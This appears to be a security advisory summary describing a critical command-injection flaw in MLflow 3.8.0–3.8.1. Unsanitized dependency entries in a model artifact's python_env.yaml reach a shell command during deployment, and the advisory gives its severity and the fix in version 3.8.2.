This vulnerability arises from improper neutralization of special elements in shell commands constructed by MLflow during model deployment. Specifically, MLflow reads dependency specifications from the python_env.yaml file in the model artifact and interpolates them directly into a shell command without sanitization. This allows an attacker who can supply a crafted model artifact to execute arbitrary commands on the host system. The vulnerability affects MLflow versions >=3.8.0 and <3.8.2 and has a CVSS v3 score of 10.0, indicating critical severity. The vendor advisory from Red Hat confirms the issue and the fix in version 3.8.2.

Successful exploitation allows unauthenticated attackers to execute arbitrary commands on systems deploying MLflow models with env_manager=LOCAL, potentially leading to full system compromise. The vulnerability impacts confidentiality, integrity, and availability with a maximum CVSS score of 10.0.

An official fix is available in MLflow version 3.8.2. Users should upgrade affected installations to version 3.8.2 or later to remediate this vulnerability. No additional mitigations are specified in the vendor advisory.